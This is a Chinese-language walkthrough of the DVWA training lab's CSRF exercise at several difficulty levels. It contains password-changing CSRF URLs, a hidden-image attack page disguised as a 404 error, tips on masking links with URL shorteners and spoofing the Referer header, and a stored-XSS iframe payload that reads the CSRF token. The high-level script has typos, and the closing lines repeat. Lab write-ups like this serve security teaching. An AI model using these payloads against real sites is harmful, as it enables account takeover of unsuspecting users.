dvwa之csrf
low
1. 在新的页面中打开以下url,发现成功修改密码
http://192.168.43.116/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
(攻击中我打开了dvwa,所以我是用的自己的cookie点开了这个链接)
**2. **
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。
B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):
如http://dwz.cn/****
因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
3.构造攻击页面
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
medium
增加了refer验证
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.43.116),希望通过这种机制抵御CSRF攻击。
抓包发现我们构造的链接里没有refer,抓包修改refer
high
增加了token验证
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php');
用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
浏览器的同源策略
<html>
<head lang="en">
<meta charest="UTF-8">
<title></title>
<script type= "text/javascript">
fountion attack()
{ doucument.getElementsByName('user_token')[0].value=document.getElementsById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById('transfer').submit();
/*contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档。可以通过所有标准的 DOM 方法来处理被返回的对象。*/
}
</script>
</head>
<body onload="attack()">
<iframe src="http://dvwatansfer" id ="hack" stytle="style:none">
</iframe>
<form method="GET" id="transfer" action="http://dvwatransfer">
<input type="hidden" name="password_new" value="admin" >
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name ="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
我们的框架iframe访问的地址是http://192.168.43.116/dvwa/vulnerabilities/csrf,位于服务器192.168.43.116上,而我们的攻击页面位于黑客服务器192.168.xx.xx上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。
在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。
我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
src是csrf的(high),弹出的是其token
onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。
impossible
要求输入原来的密码
src是csrf的(high),弹出的是其token
onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。
impossible
要求输入原来的密码